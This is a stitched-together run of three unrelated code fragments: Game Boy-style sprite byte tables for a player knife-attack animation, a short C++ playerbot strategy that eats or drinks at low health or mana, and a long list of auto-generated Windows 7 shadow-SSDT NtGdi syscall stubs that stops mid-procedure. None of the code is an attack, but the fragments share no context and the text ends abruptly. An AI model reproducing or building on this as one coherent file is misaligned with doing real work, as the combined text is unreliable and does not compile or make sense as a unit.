$00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$0F,$00,$1F,$00,$3F,$00,$3F DB $30,$3F,$30,$3F,$78,$5F,$78,$7F DB $38,$3F,$30,$3F,$00,$3F,$00,$1F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$80,$00,$80,$00,$C0,$00,$C0 DB $00,$C0,$00,$E0,$00,$E0,$00,$E0 DB $00,$E0,$00,$F0,$00,$F0,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $1C,$3F,$1E,$3F,$1F,$3F,$1F,$3F DB $0F,$7F,$0F,$7F,$0F,$7F,$0F,$0F DB $3F,$3F,$3F,$3F,$7F,$7F,$71,$71 DB $61,$61,$30,$30,$10,$10,$70,$70 DB $00,$F8,$00,$FC,$80,$FF,$E2,$FD DB $3E,$FF,$03,$FC,$03,$FC,$03,$FC DB $83,$FC,$82,$FD,$80,$FF,$C0,$FE DB $E0,$E0,$F0,$F0,$18,$18,$38,$38 DB $00,$00,$00,$00,$00,$00,$00,$C0 DB $00,$F0,$80,$70,$00,$E0,$00,$E0 DB $00,$C0,$00,$C0,$00,$80,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$0F,$00,$1F,$00,$3F,$00,$3F DB $30,$3F,$30,$3F,$78,$5F,$78,$7F DB $38,$3F,$30,$3F,$00,$3F,$00,$1F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$80,$00,$80,$00,$C0,$00,$C0 DB $00,$C0,$00,$E0,$00,$E0,$00,$E0 DB $00,$E0,$00,$F0,$00,$F0,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $1C,$1F,$1E,$1F,$1F,$1F,$1F,$3F DB $0F,$3F,$0F,$3F,$0F,$3F,$0F,$3F DB $3F,$3F,$3F,$3F,$7F,$7F,$71,$71 DB $61,$61,$30,$30,$10,$10,$70,$70 DB $00,$F8,$00,$FC,$80,$FC,$E0,$FE DB $30,$FF,$1C,$FB,$06,$FF,$06,$F9 DB $0C,$F3,$0C,$F3,$08,$F7,$80,$FE DB $E0,$E0,$F0,$F0,$18,$18,$38,$38 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$80,$00,$C0,$00,$E0 DB $00,$C0,$00,$C0,$00,$80,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$07 DB $00,$0F,$00,$1F,$00,$1F,$18,$1F DB $18,$1F,$3C,$2F,$3C,$3F,$1C,$1F DB $18,$1F,$00,$1F,$00,$0F,$00,$0F DB $00,$00,$00,$00,$00,$00,$00,$C0 DB $00,$C0,$00,$E0,$00,$E0,$00,$E0 DB $00,$F0,$00,$F0,$00,$F0,$00,$F0 DB $00,$F8,$00,$F8,$00,$F8,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $18,$1F,$1C,$1F,$1E,$1F,$0F,$1F DB $0F,$1F,$0F,$1F,$0F,$3F,$1E,$3F DB $1E,$1F,$3E,$3F,$32,$33,$30,$33 DB $30,$30,$30,$30,$10,$10,$70,$70 DB $00,$F8,$00,$F8,$00,$FC,$00,$FC DB $80,$FE,$60,$FE,$30,$FF,$10,$FF DB $1C,$FB,$1C,$E7,$18,$E7,$30,$CE DB $E0,$E0,$E0,$E0,$60,$60,$60,$60 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$80,$00,$80,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 r3_SpritePlayerKnifeAttackLeftEnd:: ;;; SECTION SPRITESHEET1_PART2 ;;; ############################################################################
#include "botpch.h" #include "../../playerbot.h" #include "UseFoodStrategy.h" using namespace ai; void UseFoodStrategy::InitTriggers(std::list<TriggerNode*> &triggers) { Strategy::InitTriggers(triggers); triggers.push_back(new TriggerNode( "critical health", NextAction::array(0, new NextAction("food", 2.0f), NULL))); triggers.push_back(new TriggerNode( "low mana", NextAction::array(0, new NextAction("drink", 2.0f), NULL))); }
; DO NOT MODIFY THIS FILE DIRECTLY! ; author: @TinySecEx ; shadowssdt asm stub for 6.1.7600-sp0-windows-7 i386 .686 .mmx .xmm .model flat,stdcall option casemap:none option prologue:none option epilogue:none .code ; ULONG __stdcall NtGdiAbortDoc( ULONG arg_01 ); NtGdiAbortDoc PROC STDCALL arg_01:DWORD mov eax , 4096 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiAbortDoc ENDP ; ULONG __stdcall NtGdiAbortPath( ULONG arg_01 ); NtGdiAbortPath PROC STDCALL arg_01:DWORD mov eax , 4097 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiAbortPath ENDP ; ULONG __stdcall NtGdiAddFontResourceW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiAddFontResourceW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4098 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiAddFontResourceW ENDP ; ULONG __stdcall NtGdiAddRemoteFontToDC( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiAddRemoteFontToDC PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4099 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiAddRemoteFontToDC ENDP ; ULONG __stdcall NtGdiAddFontMemResourceEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiAddFontMemResourceEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4100 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiAddFontMemResourceEx ENDP ; ULONG __stdcall NtGdiRemoveMergeFont( ULONG arg_01 , ULONG arg_02 ); NtGdiRemoveMergeFont PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4101 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiRemoveMergeFont ENDP ; ULONG __stdcall NtGdiAddRemoteMMInstanceToDC( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiAddRemoteMMInstanceToDC PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4102 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiAddRemoteMMInstanceToDC ENDP ; ULONG __stdcall NtGdiAlphaBlend( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 ); NtGdiAlphaBlend PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD mov eax , 4103 mov edx , 7FFE0300h call dword ptr [edx] ret 48 NtGdiAlphaBlend ENDP ; ULONG __stdcall NtGdiAngleArc( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiAngleArc PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4104 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiAngleArc ENDP ; ULONG __stdcall NtGdiAnyLinkedFonts( ); NtGdiAnyLinkedFonts PROC STDCALL mov eax , 4105 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiAnyLinkedFonts ENDP ; ULONG __stdcall NtGdiFontIsLinked( ULONG arg_01 ); NtGdiFontIsLinked PROC STDCALL arg_01:DWORD mov eax , 4106 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiFontIsLinked ENDP ; ULONG __stdcall NtGdiArcInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 ); NtGdiArcInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD mov eax , 4107 mov edx , 7FFE0300h call dword ptr [edx] ret 40 NtGdiArcInternal ENDP ; ULONG __stdcall NtGdiBeginGdiRendering( ULONG arg_01 , ULONG arg_02 ); NtGdiBeginGdiRendering PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4108 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiBeginGdiRendering ENDP ; ULONG __stdcall NtGdiBeginPath( ULONG arg_01 ); NtGdiBeginPath PROC STDCALL arg_01:DWORD mov eax , 4109 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiBeginPath ENDP ; ULONG __stdcall NtGdiBitBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiBitBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4110 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiBitBlt ENDP ; ULONG __stdcall NtGdiCancelDC( ULONG arg_01 ); NtGdiCancelDC PROC STDCALL arg_01:DWORD mov eax , 4111 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCancelDC ENDP ; ULONG __stdcall NtGdiCheckBitmapBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiCheckBitmapBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4112 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiCheckBitmapBits ENDP ; ULONG __stdcall NtGdiCloseFigure( ULONG arg_01 ); NtGdiCloseFigure PROC STDCALL arg_01:DWORD mov eax , 4113 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCloseFigure ENDP ; ULONG __stdcall NtGdiClearBitmapAttributes( ULONG arg_01 , ULONG arg_02 ); NtGdiClearBitmapAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4114 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiClearBitmapAttributes ENDP ; ULONG __stdcall NtGdiClearBrushAttributes( ULONG arg_01 , ULONG arg_02 ); NtGdiClearBrushAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4115 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiClearBrushAttributes ENDP ; ULONG __stdcall NtGdiColorCorrectPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiColorCorrectPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4116 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiColorCorrectPalette ENDP ; ULONG __stdcall NtGdiCombineRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiCombineRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4117 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiCombineRgn ENDP ; ULONG __stdcall NtGdiCombineTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiCombineTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4118 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiCombineTransform ENDP ; ULONG __stdcall NtGdiComputeXformCoefficients( ULONG arg_01 ); NtGdiComputeXformCoefficients PROC STDCALL arg_01:DWORD mov eax , 4119 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiComputeXformCoefficients ENDP ; ULONG __stdcall NtGdiConfigureOPMProtectedOutput( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiConfigureOPMProtectedOutput PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4120 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiConfigureOPMProtectedOutput ENDP ; ULONG __stdcall NtGdiConvertMetafileRect( ULONG arg_01 , ULONG arg_02 ); NtGdiConvertMetafileRect PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4121 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiConvertMetafileRect ENDP ; ULONG __stdcall NtGdiCreateBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiCreateBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4122 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiCreateBitmap ENDP ; ULONG __stdcall NtGdiCreateBitmapFromDxSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiCreateBitmapFromDxSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4123 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiCreateBitmapFromDxSurface ENDP ; ULONG __stdcall NtGdiCreateClientObj( ULONG arg_01 ); NtGdiCreateClientObj PROC STDCALL arg_01:DWORD mov eax , 4124 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCreateClientObj ENDP ; ULONG __stdcall NtGdiCreateColorSpace( ULONG arg_01 ); NtGdiCreateColorSpace PROC STDCALL arg_01:DWORD mov eax , 4125 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCreateColorSpace ENDP ; ULONG __stdcall NtGdiCreateColorTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiCreateColorTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4126 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiCreateColorTransform ENDP ; ULONG __stdcall NtGdiCreateCompatibleBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiCreateCompatibleBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4127 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiCreateCompatibleBitmap ENDP ; ULONG __stdcall NtGdiCreateCompatibleDC( ULONG arg_01 ); NtGdiCreateCompatibleDC PROC STDCALL arg_01:DWORD mov eax , 4128 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCreateCompatibleDC ENDP ; ULONG __stdcall NtGdiCreateDIBBrush( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiCreateDIBBrush PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4129 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiCreateDIBBrush ENDP ; ULONG __stdcall NtGdiCreateDIBitmapInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiCreateDIBitmapInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4130 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiCreateDIBitmapInternal ENDP ; ULONG __stdcall NtGdiCreateDIBSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 ); NtGdiCreateDIBSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD mov eax , 4131 mov edx , 7FFE0300h call dword ptr [edx] ret 36 NtGdiCreateDIBSection ENDP ; ULONG __stdcall NtGdiCreateEllipticRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiCreateEllipticRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4132 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiCreateEllipticRgn ENDP ; ULONG __stdcall NtGdiCreateHalftonePalette( ULONG arg_01 ); NtGdiCreateHalftonePalette PROC STDCALL arg_01:DWORD mov eax , 4133 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCreateHalftonePalette ENDP ; ULONG __stdcall NtGdiCreateHatchBrushInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiCreateHatchBrushInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4134 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiCreateHatchBrushInternal ENDP ; ULONG __stdcall NtGdiCreateMetafileDC( ULONG arg_01 ); NtGdiCreateMetafileDC PROC STDCALL arg_01:DWORD mov eax , 4135 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCreateMetafileDC ENDP ; ULONG __stdcall NtGdiCreateOPMProtectedOutputs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiCreateOPMProtectedOutputs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4136 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiCreateOPMProtectedOutputs ENDP ; ULONG __stdcall NtGdiCreatePaletteInternal( ULONG arg_01 , ULONG arg_02 ); NtGdiCreatePaletteInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4137 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiCreatePaletteInternal ENDP ; ULONG __stdcall NtGdiCreatePatternBrushInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiCreatePatternBrushInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4138 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiCreatePatternBrushInternal ENDP ; ULONG __stdcall NtGdiCreatePen( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiCreatePen PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4139 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiCreatePen ENDP ; ULONG __stdcall NtGdiCreateRectRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiCreateRectRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4140 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiCreateRectRgn ENDP ; ULONG __stdcall NtGdiCreateRoundRectRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiCreateRoundRectRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4141 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiCreateRoundRectRgn ENDP ; ULONG __stdcall NtGdiCreateServerMetaFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiCreateServerMetaFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4142 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiCreateServerMetaFile ENDP ; ULONG __stdcall NtGdiCreateSolidBrush( ULONG arg_01 , ULONG arg_02 ); NtGdiCreateSolidBrush PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4143 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiCreateSolidBrush ENDP ; ULONG __stdcall NtGdiD3dContextCreate( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiD3dContextCreate PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4144 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiD3dContextCreate ENDP ; ULONG __stdcall NtGdiD3dContextDestroy( ULONG arg_01 ); NtGdiD3dContextDestroy PROC STDCALL arg_01:DWORD mov eax , 4145 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiD3dContextDestroy ENDP ; ULONG __stdcall NtGdiD3dContextDestroyAll( ULONG arg_01 ); NtGdiD3dContextDestroyAll PROC STDCALL arg_01:DWORD mov eax , 4146 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiD3dContextDestroyAll ENDP ; ULONG __stdcall NtGdiD3dValidateTextureStageState( ULONG arg_01 ); NtGdiD3dValidateTextureStageState PROC STDCALL arg_01:DWORD mov eax , 4147 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiD3dValidateTextureStageState ENDP ; ULONG __stdcall NtGdiD3dDrawPrimitives2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiD3dDrawPrimitives2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4148 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiD3dDrawPrimitives2 ENDP ; ULONG __stdcall NtGdiDdGetDriverState( ULONG arg_01 ); NtGdiDdGetDriverState PROC STDCALL arg_01:DWORD mov eax , 4149 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdGetDriverState ENDP ; ULONG __stdcall NtGdiDdAddAttachedSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdAddAttachedSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4150 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdAddAttachedSurface ENDP ; ULONG __stdcall NtGdiDdAlphaBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdAlphaBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4151 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdAlphaBlt ENDP ; ULONG __stdcall NtGdiDdAttachSurface( ULONG arg_01 , ULONG arg_02 ); NtGdiDdAttachSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4152 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdAttachSurface ENDP ; ULONG __stdcall NtGdiDdBeginMoCompFrame( ULONG arg_01 , ULONG arg_02 ); NtGdiDdBeginMoCompFrame PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4153 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdBeginMoCompFrame ENDP ; ULONG __stdcall NtGdiDdBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDdBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4154 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDdBlt ENDP ; ULONG __stdcall NtGdiDdCanCreateSurface( ULONG arg_01 , ULONG arg_02 ); NtGdiDdCanCreateSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4155 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdCanCreateSurface ENDP ; ULONG __stdcall NtGdiDdCanCreateD3DBuffer( ULONG arg_01 , ULONG arg_02 ); NtGdiDdCanCreateD3DBuffer PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4156 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdCanCreateD3DBuffer ENDP ; ULONG __stdcall NtGdiDdColorControl( ULONG arg_01 , ULONG arg_02 ); NtGdiDdColorControl PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4157 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdColorControl ENDP ; ULONG __stdcall NtGdiDdCreateDirectDrawObject( ULONG arg_01 ); NtGdiDdCreateDirectDrawObject PROC STDCALL arg_01:DWORD mov eax , 4158 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdCreateDirectDrawObject ENDP ; ULONG __stdcall NtGdiDdCreateSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiDdCreateSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4159 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiDdCreateSurface ENDP ; ULONG __stdcall NtGdiDdCreateD3DBuffer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiDdCreateD3DBuffer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4160 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiDdCreateD3DBuffer ENDP ; ULONG __stdcall NtGdiDdCreateMoComp( ULONG arg_01 , ULONG arg_02 ); NtGdiDdCreateMoComp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4161 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdCreateMoComp ENDP ; ULONG __stdcall NtGdiDdCreateSurfaceObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiDdCreateSurfaceObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4162 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiDdCreateSurfaceObject ENDP ; ULONG __stdcall NtGdiDdDeleteDirectDrawObject( ULONG arg_01 ); NtGdiDdDeleteDirectDrawObject PROC STDCALL 